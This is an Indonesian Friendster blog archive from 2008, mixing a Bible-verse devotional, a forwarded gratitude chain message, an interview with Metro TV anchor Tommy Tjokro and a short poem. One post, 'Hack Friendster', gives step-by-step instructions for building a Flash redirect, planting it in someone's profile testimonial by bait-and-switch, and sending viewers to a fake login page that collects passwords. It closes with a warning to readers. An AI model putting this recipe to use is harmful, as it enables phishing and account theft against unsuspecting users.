SURAT DARI BAPA SURGAWI…..BAPA KITA

Posted on November 23rd, 2008 in Uncategorized by fridayani

Anak-Ku…
Engkau mungkin tidak mengenal Aku, tetapi Aku mengenal segala sesuatu tentang dirimu…(Maz.139:1) Aku tahu kalau engkau duduk atau berdiri … (Maz.139:2) Aku mengerti segala jalanmu … (Maz. 139:3) Setiap helai rambut kepalamu, terhitung semuanya … (Mat. 10:29-31) Karena engkau diciptakan dalam gambar dan rupa- Ku … (Kej. 1:26-27) Di dalam-Ku engkau hidup, engkau bergerak dan engkau ada … (Kis. 17:28) Sebab engkau ini adalah keturunan-Ku … (Kis.17:28) Aku mengenal engkau sejak sebelum engkau ada dalam kandungan … (Yeremia 1:4-5) Aku memilih engkau dari semula sebelum Aku menciptakan segalanya … (Ef. 1:4-5) Engkau ada bukan karena suatu kesalahan,karena hari-harimu ada tertulis dalam kitab-Ku …(Maz. 139:15-16) Aku telah menentukan waktu yang tepat untuk kelahiran dan di mana engkau akan hidup… (Kis.17:26) Kejadianmu dahsyat dan ajaib … (Kis. 139:14) Karena Aku menenun engkau dalam kandungan ibumu … (Maz. 139:13) Dan mengeluarkan engkau pada hari engkau dilahirkan … (Maz. 71:6)

Seringkali Aku tidak dipahami oleh mereka yang tidak mengenal Aku … (Yoh. 8:41-44) Aku tidak berada di tempat jauh dan murka, tetapi Aku adalah kasih yang sempurna … (1 Yoh. 4:16) Dan adalah kerinduan-Ku untuk mengaruniakan Kasih-Ku untukmu … (1 Yoh. 3:1) Semua itu karena engkau adalah anak-Ku dan Aku adalah Bapamu … (1 Yoh. 3:1) Aku memberikan lebih dari yang dapat diberikan bapamu yang di dunia … (Mat. 7:11) Karena Akulah Bapamu di Surga yang adalah sempurna … (Mat. 5:48)

Setiap pemberian yang baik dan setiap anugerah yang sempurna engkau terima dari tangan-Ku…(Yak. 1:17) Karena Akulah pemeliharamu dan Aku memberi semua yang engkau perlukan … (Mat. 6:31-33) Rancangan-Ku yang diberikan kepadamu adalah hari depan yang penuh harapan … (Yer. 29:11) Karena Aku mengasihi engkau dengan Kasih yang kekal … (Yer. 31:3) Pikiran-Ku terhadap engkau tidak terhitung seperti pasir di tepi pantai … (Maz. 139:17-18) Dan Aku bergirang karena engkau dengan sukacita dan sorak-sorai … (Zef. 3:17) Aku tidak pernah berhenti berbuat baik kepadamu … (Yer. 32:40) Karena engkaulah harta kesayangan-Ku … (Kel. 19:5) 

Aku merindukan untuk mengokohkan engkau dengan segenap hati-Ku dan jiwa-Ku … (Yer. 32:41) Aku akan menunjukkan kepadamu hal-hal yang besar dan yang ajaib … (Yer. 33:3) Jika engkau mencari Aku dengan segenap hatimu, engkau akan menemukan Aku … (Ul. 4:29) 

Bergembiralah karena Aku, maka Aku akan memberikan kepadamu apa yang diinginkan hatimu… (Maz. 37:4) Karena Akulah yang mengerjakan di dalammu kemauan itu … (Fil. 2:13) Aku dapat melakukan jauh lebih banyak dari pada yang engkau pikirkan … (Ef. 3:20) Karena Akulah yang menganugerahkan penghiburan abadi kepadamu … (2 Tes. 2:16-17) Akulah juga Bapa yang menghiburmu dalam segala penderitaanmu … (2 Kor. 1:3-4) Ketika engkau patah hati, Aku berada dekat kepadamu … (Maz. 34:19) Seperti seorang gembala menggembalakan dombanya, Aku membawa engkau dekat ke hati-Ku… (Yes. 40:11) Suatu hari Aku akan menghapus semua air mata dari matamu … (Wah. 21:3-4) Dan Aku akan mengangkat semua kesusahan yang engkau derita di atas bumi … (Wah. 21:3-4)

Akulah Bapamu, dan Aku mengasihi engkau seperti Aku mengasihi putra-Ku, Yesus … (Yoh.17:23) Karena di dalam Yesus, Kasih-Ku kepadamu dinyatakan … (Yoh. 17:26) Dialah gambar wujud dari keberadaan-Ku … (Ibrani1:3) , Ia datang untuk menyatakan bahwa Aku di pihakmu, dan bukan untuk melawanmu … (Roma 8:31) Dan untuk memberitahumu bahwa aku tidak memperhitungkan pelanggaranmu … (2 Kor. 5:18-19) Yesus mati supaya engkau dan Aku dapat diperdamaikan … (2 Kor. 5:18-19) 
Kematian-Nya adalah pernyataan terbesar dari kasihKu untukmu … (1 Yoh. 4:10) Aku menyerahkan semua yang Aku sayangi supaya Aku mendapat kasihmu … (Roma 8:31-32) Jika engkau menerima anugrah Anak-Ku Yesus,engkau juga menerima Aku … (1 Yoh. 2:23) Dan tidak lagi ada yang akan memisahkan engkau dari kasih-Ku … (Roma 8:38-39) Kembalilah dan Aku akan mengadakan pesta terbesar yang pernah ada di Surga … (Lukas 15:7) Selamanya Aku adalah Bapa, dan selamanya Aku tetaplah Bapa … (Ef. 3:14-15) 

PertanyaanKu adalah…..

Maukah engkau menjadi Anak-ku? … (Yoh. 1:12-13) Aku menanti-nanti untukmu … (Luk. 15:11-32) Kasih-Ku untukmu, Bapamu, Allah yang MahaKuasa.Maukah engkau menjadi Anak-ku? … (Yoh. 1:12-13) Aku menanti-nanti untukmu … (Luk. 15:11-32) Kasih-Ku untukmu, Bapamu, Allah yang MahaKuasa.

 

Mengapa Sulit Mengucap Syukur ?

Posted on November 23rd, 2008 in Uncategorized by fridayani

Aku bermimpi suatu hari aku pergi ke surga dan seorang malaikat menemaniku dan menunjukkan keadaan di surga. Kami berjalan memasuki suatu ruang kerja penuh dengan para malaikat. Malaikat yang mengantarku berhenti di depanruang kerja pertama dan berkata, ” Ini adalah Seksi Penerimaan. Di sini, semua permintaan yang ditujukan pada Allah diterima”.

Aku melihat-lihat sekeliling tempat ini dan aku dapati tempat ini begitu sibuk dengan begitu banyak malaikat yang memilah-milah seluruh permohonan yang tertulis pada kertas dari manusia di seluruh dunia.

Kemudian aku dan malaikat-ku berjalan lagi melalui koridor yang panjang lalu sampailah kami pada ruang kerja kedua. Malaikat-ku berkata, “Ini adalah Seksi Pengepakan dan Pengiriman. Di sini kemuliaan dan berkat yangdiminta manusia diproses dan dikirim ke manusia-manusia yang masih hidup yang memintanya”. Aku perhatikan lagi betapa sibuknya ruang kerja itu. Adabanyak malaikat yang bekerja begitu keras karena ada begitu banyaknya permohonan yang dimintakan dan sedang dipaketkan untuk dikirim ke bumi.

Kami melanjutkan perjalanan lagi hingga sampai pada ujung terjauh koridor panjang tersebut dan berhenti pada sebuah pintu ruang kerja yang sangatkecil. Yang sangat mengejutkan aku, hanya ada satu malaikat yang duduk di sana, hampir tidak melakukan apapun. “Ini adalah Seksi Pernyataan Terima Kasih”, kata Malaikat-ku pelan. Dia tampak malu. “Bagaimana ini? Mengapa hampir tidak ada pekerjaan disini?”, tanyaku. “Menyedihkan”, Malaikat-ku menghela napas. ” Setelah manusia menerima berkat yang mereka minta, sangat sedikit manusia yang mengirimkan pernyataan terima kasih”. “Bagaimana manusia menyatakan terima kasih atas berkat Tuhan?”, tanyaku. “Sederhana sekali”, jawab Malaikat. “Cukup berkata, “Terima kasih, Tuhan”.

“Lalu, berkat apa saja yang perlu kita syukuri”, tanyaku. Malaikat-ku menjawab, “Jika engkau mempunyai makanan di lemari es, pakaian yang menutup tubuhmu, atap di atas kepalamu dan tempat untuk tidur, maka engkau lebih kaya dari 75% penduduk dunia ini.”

“Jika engkau memiliki uang di bank, di dompetmu, dan uang-uang receh, maka engkau berada diantara 8% kesejahteraan dunia.”

“Dan jika engkau mendapatkan pesan ini di komputer mu, engkau adalah bagian dari 1% di dunia yang memiliki kesempatan itu.”

Juga…. “Jika engkau bangun pagi ini dengan lebih banyak kesehatan daripada kesakitan … engkau lebih diberkati daripada begitu banyak orang di dunia ini yang tidak dapat bertahan hidup hingga hari ini.”

“Jika engkau tidak pernah mengalami ketakutan dalam perang, kesepian dalam penjara, kesengsaraan penyiksaan, atau kelaparan yang amat sangat, maka engkau lebih beruntung dari 700 juta orang di dunia”.

“Jika orangtuamu masih hidup dan masih berada dalam ikatan pernikahan … maka engkau termasuk orang yang sangat jarang.”

“Jika engkau masih bisa mencintai … maka engkau termasuk orang yang besar, karena cinta adalah berkat Tuhan yang tidak didapat dari manapun.”

“Jika engkau dapat menegakkan kepala dan tersenyum, maka engkau bukanlah seperti orang kebanyakan, engkau unik dibandingkan semua mereka yang berada dalam keraguan dan keputusasaan.”

“Jika engkau dapat membaca pesan ini, maka engkau menerima berkat ganda, yaitu bahwa seseorang yang mengirimkan ini padamu berpikir bahwa engkau orang yang sangat istimewa baginya, dan bahwa engkau lebih diberkati dari pada lebih dari 2 juta orang di dunia yang bahkan tidak dapat membaca sama sekali”.

Nikmatilah hari-harimu, hitunglah berkat yang telah Tuhan anugerahkan kepadamu. Dan jika engkau berkenan, kirimkan pesan ini ke semua teman-temanmu untuk mengingatkan mereka betapa. diberkatinya kita semua. 

“Dan ingatlah tatkala Tuhanmu menyatakan bahwa, ‘Sesungguhnya jika kamu bersyukur, pasti Aku akan menambahkan lebih banyak nikmat kepadamu .”

Ditujukan pada : Departemen Pernyataan Terima Kasih.
“Terima kasih, Tuhan! Terima kasih, Tuhan, atas anug’rah-Mu berupa kemampuan untuk menerjemahkan dan membagi pesan ini dan memberikan aku begitu banyak teman-teman yang istimewa untuk saling berbagi.”

Tommy Tjokro

Posted on October 31st, 2008 in Uncategorized by fridayani
Cowok kelahiran Braunschweigh, Jerman, 10 Juli 1977 ini cuma tersenyum malu mendengar cerita tersebut. “Waduh, saya kagok kalau disebut-sebut banyak penggemar,” ujar Tommy terkekeh.

beberapa tahun silam, profesi pembaca berita pernah menempati tempat tersendiri dalam dunia pertelevisian Indonesia. Nama-nama seperti Arief Suditomo, Ira Koesno, atau Desi Anwar tak hanya jadi ikon untuk televisi tempat mereka bekerja, tapi juga untuk kategori acara berita secara keseluruhan. Kecerdasan dan karakter yang kuat jadi daya jual utama. Sayang, sekarang belum ada generasi penerus yang menggebrak. Tapi bukan berarti tak ada pembaca berita potensial. Ada beberapa, salah satunya, Tommy Tjokro (29). Kemunculannya tiap hari di acara Metro Siang, Public Corner, News Flash, dan Headline News banyak direspons positif penggemarnya, terutama para cewek. Tak heran, ketika Tommy menghilang untuk dua pekan dari layar kaca, banyak dari mereka yang bertanya. “Banyak surat masuk yang menanyakan keberadaan Tommy,” cerita Audrey, Humas Metro TV yang kebetulan hadir dalam wawancara dengan Tommy, Jumat (13/10) lalu. Cowok kelahiran Braunschweigh, Jerman, 10 Juli 1977 ini cuma tersenyum malu mendengar cerita tersebut. “Waduh, saya kagok kalau disebut-sebut banyak penggemar,” ujar Tommy terkekeh.

Memasuki tahun ketiga kariernya di dunia broadcasting, Tommy lambat laun mulai menemukan arah. “Saya mulai mendapatkan karakter sendiri,” ujarnya mantap. Karakter yang dimaksud, ketenangan dan gaya bahasa santun yang diperlihatkan tiap memandu acara. Tapi Tommy belum puas dengan pencapaiannya. “Saya masih harus banyak belajar. Saya ingin tiap tahun ada peningkatan dalam penampilan saya. Sekarang, meski sudah dua tahun lebih bertugas, kadang saya masih grogi dan melakukan kesalahan,” terang alumnus Central Queensland University, Brisbane, Australia ini.

Meski populer, Tommy mengelak disebut sebagai presenter andalan Metro TV. “Yang lain pun posisinya sama. Saya masih beharap masih ada puncak lain untuk karier saya. Sekarang masih harus belajar menghadapi nara sumber yang levelnya juga berbeda-beda. Itu tantangan tersendiri.” Menurut Tommy, semua pembaca berita punya kelebihan masing-masing. Tapi, Tommy tak menolak kalau termotivasi menjadi penerus Arief Suditomo dkk. Tapi kalau tidak terjadi pun, masih banyak ambisi Tommy yang masih berhubungan dengan dunia pertelevisian. “Selain menjadi anchor, saya pribadi punya ambisi untuk jadi produser sebuah acara. Umur orang untuk muncul di depan layar memang terbatas. Jadi suatu saya saat ingin meng-create satu program dan punya acara sendiri. Targetnya kalau bisa secepatnya, hehehe. Intinya yang penting berusaha saja yang terbaik. Jangan pernah berhenti, jangan jalan di tempat. Apalagi pembaca berita itu sangat tergantung usia,” harap Tommy. Berikut petikan wawancara kami dengan Tommy beberapa menit sebelum masuk studio untuk siarang langsung. *hari

Aktivitas Anda saat bulan puasa?

Sama saja dengan hari-hari biasa. Paling, rutinitasnya yang tadinya padat, sedikit demi sedikit saya kurangi. Tujuannya untuk menjaga kondisi. Jadi biasanya habis buka puasa, saya memilih pulang. Tapi, pada dasarnya Jadwal kami memang nggak pernah tetap. Kadang diubah secara mingguan, kadang dua mingguan.


Apa sih sebenarnya spesialisasi Tommy?

Karena lulusan ekonomi saya tahu lebih banyak di marketing. Waktu melamar ke Metro pun saya mengirim dua aplikasi, reporter dan anchor dan satunya ke marketing. Tapi sebagai pembaca berita, saya harus menguasai banyak topik, dan sejauh ini saya sudah membawakan berbagai jenis acara mulai dari sepakbola, hiburan, politik, dan ekonomi. Boleh dibilang tak kesulitan menguasai topi macam-macam. Lagi pula ‘kan ada pembelajaran lagi dari awal. Anchor itu kan memang harus banyak membaca. Kalau dulu untuk urusan politik saya nggak kritis, sekarang harus benar-benar kritis. Mau nggak mau harus diperbaiki terus. Kalau tadinya nonton berita cuma melihat sekilas-sekilas, sekarang lebih diperhatikan lagi. Untungnya saya suka melakukannya.


Bacaan sehari-sehari apa?

Bacaan pastinya koran, majalah, tabloid, semua yang berbau-bau ekonomi dan politik.


Anchor itu memang harus pintar, ya?

Kalau anchor disebut pintar, ya karena memang pekerjaan menuntuk kami untuk selalu berusaha kelihatan pintar, hehehe. Soal kepintarana tiap orang punya persepsi beda-beda, intinya di bidang jurnalistik ini tidak hanya membacakan tapi juga tahu isi dari berita yang harus kita bawakan. Misalnya ada politik atau konflik, ya, kita harus tahu benar-benar tentang topik itu.

Tapi tampang keren juga modal tersendiri saat baru mulai jadi anchor?

Ada benarnya, tapi yang pasti isi (kepala) tetap haruslah. Kalau tampang doang tapi nggak bisa aplikasi kemampuan kita, sayang. Orang ‘kan ingin melihat karakter kita. Setiap tampil banyak orang akan melihatpintar ataunggaknya seorang pembaca berita. Orang yang bertahan lama di TV, benar-benar orang yang punya kemampuan. Bukan soal pintar atau nggak, tapi mereka benar-benar orang mampu mengapliaksikan dirinya. Kalau ditanya resep untuk tampil oke sih, persiapan danistirahat yang cukup. Kalau siaran ‘kan bahasanya baku, ada standar tersendiri dalam penekanan, fisik harus oke. Waktu kita training kita juga mempelajari olah vokal. Sudah itu, materi sebelum on air, run down, isi berita juga harus tahu.

Apa pengalaman liputan di lapangan menunjang pekerjaan Anda?

Banget. Malah kalau ditanya saya lebih suka kerja di lapangan, karena bisa bertemu orang-orang. Lebih seru dan ramai. Tapi kurang lebih saling menunjanglah. Orang yang bagus di lapangan akan terlihat lebih matang di depan layar. Jadi dalam hal ini saya harus banyak belajar lagi di lapangan, supaya lebih bagus. Sekarang sih kadang-kadang masih turun, tapi nggak sebanyak dulu. Sebagai anchor TV berita, kerjanya harus siapa 24 jam lho. Memang sih kita punya jadwal, shift. Tapi tetap kita harus menerima panggilan kapan saja, kalau ada kejadian urgent seperti dulu ada tsunami.


Banyak yang meremehkan kemampuan anchor saat turun ke daerah berkonflik?

Tapi semua anchor di Metro harus siap. Prinsipnya kapan saja, dikirim ke mana pun siap. Semua karena semua memulai dari di lapangan. Mungkin kita bisa punya pengalaman yang berbeda. Ada yang di Jakarta, ada juga yang sering pergi ke daerah konflik. Seperti misalnya Najwa Shihab. Saya sendiri pernah mendapat tugas ke Aceh, dua minggu pasca tsunami. Tepatnya di Lhokseumawe. Pengalamannya luar biasa, itu pengalaman yang paling saya ingat, ke suatu daerah yang chaos atau hancur seperti itu. Di Jakarta fine-fine saja, ternyata di daerah yang kena bencana itu susah banget.


Siapa yang paling ingin diwawancarai?

Sejauh ini saya pengin banget wawancara presiden SBY. Pasti sangat menantang.


Aktivitas di luar kantor apa saja?

Ngumpul-ngumpul sama teman-teman. Nonton, pasti karena hobi saya nonton.


Olahraga dan perawatan diri, pasti masuk agenda, ya?

Merawat diri, iya. Potong rambut ke salon pasti. Creambath segala macam. Paling itu-itu saja. Olahraga, dulunya nge-gym, main basket, sepakbola, atau squash. Tapi karena rutinitasnya terus bertambah. Saya sendiri lebih senang kegiatan olahraga yang dilakukan bersama teman-teman karena dari situ koordinasi, kerja samannya ada dinilai. Sekaligus untuk refreshing dan sosialisasi.

Benar nggak, sih pembaca berita itu serius?

Kalau teman-teman saya bilang sih, saya konyol banget, suka bercanda. Tapi itu kan di lingkungan terdekat. Ya, kalau dibilang jaim nggaklah ya, jaim kerjaan saja. Toh, kita nggak bisa cewawakan. Intinya, bagaimana kita membawa diri saja. Kalau mau nongkrong bisa juga sih. Yang penting bisa bawa diri dengan baik. Itu kan bukan untuk profesi kita saja, tiap orang pun punya tuntutan yang sama. Bedanya kami harus serius bawa berita jadi kelihatannya lebih ruang gerak kami terbatas.


Pede nggak kalau disebut sama populernya dengan artis atau presenter gosip?

Ini paling susah. Waktu saya baru di dunia ini, ada yang bilang popularitas itu hanya reward dari apa yang kita kerjakan, dan juga merupakan tanggung jawab. Tapi pada intinya sih, mungkin dari diri kita sendiri tidak harus memuja popularitas karena walau bagaimana pun orang ‘kan ada naik turunnya. Popularitas itu hadiah, jangan takaburlah. Manfaatin sebaik mungkin, dengan berupaya sebaik mungkin, jangan lupa diri. Dibilang terkenal? Saya belum merasa seperti itu, ya, hahaha. Malah kalau ada orang yang mengenal saya dan minta tandatangan atau foto bareng saya kadang terkaget-kaget sendiri.


Berniat terjun ke dunia entertainment?

Memang sih banyak ada tawaran wawancara dan bentuk tawaran kerja. Tapi itu semua tetap harus melewati Metro TV. Merekanggak tahu saya ini bukan presenter lepas, tapi karyawan. Kalau dibilang tertarik di dunia seni, karena memang saya suka sekali musik. Dulu sempat main band dan saya jadi vokalisnya. Cuma hobi saja, belum jadi profesi. Kalau someday ditawarin nyanyi, bikin album, belum terpikir. Tapi kalaukalau menyanyi di kawinan teman sih oke-oke saja. Saya memang cukup sering menyanyi di kawinan, hahaha. Main film, sinetron? Pernah juga ada yang menawarkan kasting. Tapi saya tolak. Soalnya saya nggak ke arah sana. Nggak tertarik.

Tapi dulu kan pernah ikut Abang None dan MTV VJ Hunt?

Itu kan masih dalam wacana mencari pengalaman. Saya ikut Abang None 2003 secara tidak sengaja. Saat itu saya baru resign dari perusahaan tempat saya bekerja di bidang marketing. Teman saya kebetulan bawa formulir Abang None dan saya anggap Abang None sebagai pengalaman yang bagus karena seleksinya berdasarkan kapasitas kita sebagai spoke person,bagaimana menjadi duta daerah. Selain itu saya bisa menambah teman. Waktu ikut MTV coba-coba saja. Adik saya yang mendorong-dorong ikut. Karena suka film dan musik, saya coba. Eh, ternyata terpilih mewakili Surabaya masuk karantina, dari situ mendapat pengetahuan kerja kamera tuh seperti apa. Saya jadi tahu dunia broadcasting sangat dinamis dan mulai jatuh cinta.

Pernah jadi cowok sampul?

Nggak, dulu saya aktifnya lebih banyak ke olahraga dan musik. Orangtua juga mengarahkan saya untuk fokus ke pendidikan.


Tahu nggak kamu punya banyak penggemar dan sering dibilang berwajah cakep?

Hahaha, biasa-biasa saja. Bukan nggak pede. Ada mungkin yang kenal. Mungkinlebih banyak cewek-cewek. Atau kalau lagi di mal atau cuci mobilada saja yang mengajak ngobrol. Lainnyapaling minta foto, tandatangan. Saya mungkin belum terbiasa dengan semua itu. Sejauh ini sih nggak ada yang aneh-aneh paling ada yang mengirim surat dan mengirim foto.

Sering ditanya urusan pribadi? Dengar-dengar baru menikah?

Saya tidak menutup-nutupi.Kalau penggemar tahu saya sudah married, ya, nggak apa-apa. Mungkin saya menghindari ditanya kehidupan pribadi kalau pertanyaannya terlalu detail. Nggak harus semua dijawab. Tapi istri saya sih pasti mengerti karena dia sudah tahu pekerjaan saya seperti ini sejak pacaran. Dia sangat mendukung, kok.

Siap jadi the next Arief Suditomo atau Jason Tedjasukmana?

Mereka itu ikon dan orang-orang yang sangat sukses. Saya banyak terinspirasi pengalaman saat on air. Tentu saja saya ingin mengikuti jejak mereka. Tapi kalau sekarang, saya belum merasa ada tahap seperti itu. Mereka sudah jadi produser, pemred, mudah-mudahan saya bisa seperti mereka.


Target?

Setahun lagi jadi produser, hahaha. Kalau cita-cita, sih pengin punya TV sendiri. Tapi pada dasarnya saya let it flow, usahain yang terbaik. Kalau jadi produser syukur, mendesain acara sendiri pun nggak masalah. Di luar itu, saya ingin memanfaatkan background pendidikan saya, ya. Suatu saat sayapengin punya perusahaan sendiri.

Hack Friendster

Posted on October 24th, 2008 in Uncategorized by fridayani

Dalam artikel saya sebelumnya mengenai Friendster palsu, teknik yang digunakan untuk me-redirect suatu profile dari Friendster adalah dengan menggunakan flash. Sekarang saya ingin memberikan contoh bagaimana kita me-redirect profile Friendster seseorang menuju URL yang kita inginkan. Pertama kita buat script flash sederhana seperti kode dibawah ini. Untuk yang menggunakan linux, install Ming package terlebih dahulu. Ming adalah library yang dapat menghasilkan file Macromedia Flash (.swf). Jika anda menggunakan ubuntu dan belum menginstall, jalankan perintah berikut :

apt-get install libming-util

Jika Ming berhasil diinstal, buat sebuah file dengan editor anda yang berisi kode berikut dan simpan dengan nama flash.as :

getURL("http://www.contoh.com");

misalkan seperti berikut :

getURL("http://chaidir.wordpress.com");

Setelah itu buat file flash (.swf) dengan menjalankan perintah berikut :

chaidir@osxbuntu:~$ /usr/lib/libming/bin/makeswf flash.as

Jika berhasil, maka akan dihasilkan file Flash bernama out.swf. File ini ketika diakses dari browser, akan me-redirect ke URL yang kita definisikan sebelumnya. Contohnya silahkan akses flash yang telah saya buat disini. Apabila anda mengakses url tersebut, maka anda langsung ‘diarahkan’ menuju http://chaidir.wordpress.com.

Selanjutnya upload file flash tadi (out.swf) ke tempat yang mudah diakses. Misalkan di http://numpang.com/out.swf. Setelah itu, kirim testimonial ke orang yang ingin di berikan testimonial dengan memasukkan file flash ini.

Jangan mengirimkan testimonial ini keteman anda, karena profile teman anda tidak akan bisa diakses!

Caranya masukkan kode berikut :


http://numpang.com/out.swf‘ />http://numpang.com/out.swf‘ quality=’high’ pluginspage=’http://www.macromedia.com/go/getflashplayer’ type=’application/x-shockwave-flash’ width=’400′ height=’250′ allowScriptAccess=”never”>

Untuk mencoba apakah testimonial ini berhasil, klik priview. Agar sang penerima testimonial bisa meng-approve testimonial, hapus ganti file flash tadi terlebih dahulu (http://numpang.com/out.swf) dengan flash animasi yang menarik perhatian. Misalnya dengan flash dari Babaflash Forum. Baru setelah di approve, aktifkan ganti lagi (upload lagi) dengan file flash tadi.

Nah, dalam contoh kasus di Friendster palsu, sang cracker me-redirect setiap user yang ingin melihat profile yang sudah disusupi flash tadi dan mengarahkannya ke http://www.friendster.co.nr. Dan celakanya disitu dibuat halaman yang menyerupai halaman login Friendster dan seolah-olah terjadi kesalahan yang mengharuskan setiap user memasukkan email dan passwordnya.

‘Fasilitas’ untuk mengirimkan testimonial di Friendster inilah yang dimanfaatkan cracker untuk ‘mengelabuhi’ orang-orang yang sering bermain-main dengan Friendster. Oleh karena itu, berhati-hatilah terhadap testimonial yang menggunakan flash. Jika mendapatkan testimonail dari orang yang tidak dikenal (emang bisa ya?) atau flash yang ngga penting, lebih baik tidak usah di approve aja.

Pesan buat anak2 ABG pecinta Friendster :

Dan buat anak2 ABG yang sering ke warnet hanya untuk ber-Friendster ria.. apakah tidak ada aktivitas lain di internet selain ber-Friendsteran?! Sangat sayang sekali jika kamu ke warnet cuman liat cowo2 ato cewe2 yang friendsterGenic (keren di friendster doang!) Mendingan belajar cari informasi yang menarik atau belajar apapun dari Internet. Atau lebih baik lagi klo kamu buat buat blog sendiri. Selain belajar nulis, kamu kan juga bisa nambah temen baru. Rugi loh klo bayar 3000 - 4000 perak cuman buat ngeliat Friendster doang, mendingan buat beli bakso!

- taken from www.pusatartikel.com-

Februari 5, 2008

tulisan pertama

Posted on October 11th, 2008 in Uncategorized by fridayani

Termenung …

Diam …

Tatapan kosong berlalu detik demi detik

Hawa dingin menyusupi tulangku berbelok ke arah otakku

Hampir …

Dan nyaris otakku dibuat beku seliar itu

Cepat-cepat kuambil penaku

Lalu ku gores sekejap ke helaian buram di ujung tanganku

Srek … sreek …

Tajam …

Makin tajam …

Ku tumpahkan tinta itu dari dalam otakku yang sudah berteriak-teriak tak sabar

Imajinasi yang selama ini hanya bisa ku gumamkan seorang diri

Aku tahu …

Aku tahu sekarang …

Terlambat sedetik saja aku takkan pernah menyadari permainan hidup ini

Aku beruntung …

Beruntung sekali bahkan …

Keraguan jiwaku lenyap

Entah kemana …

Hello world!

Posted on October 11th, 2008 in Uncategorized by fridayani

Welcome to Friendster Blogs. This is your first post. Edit or delete it, then start blogging!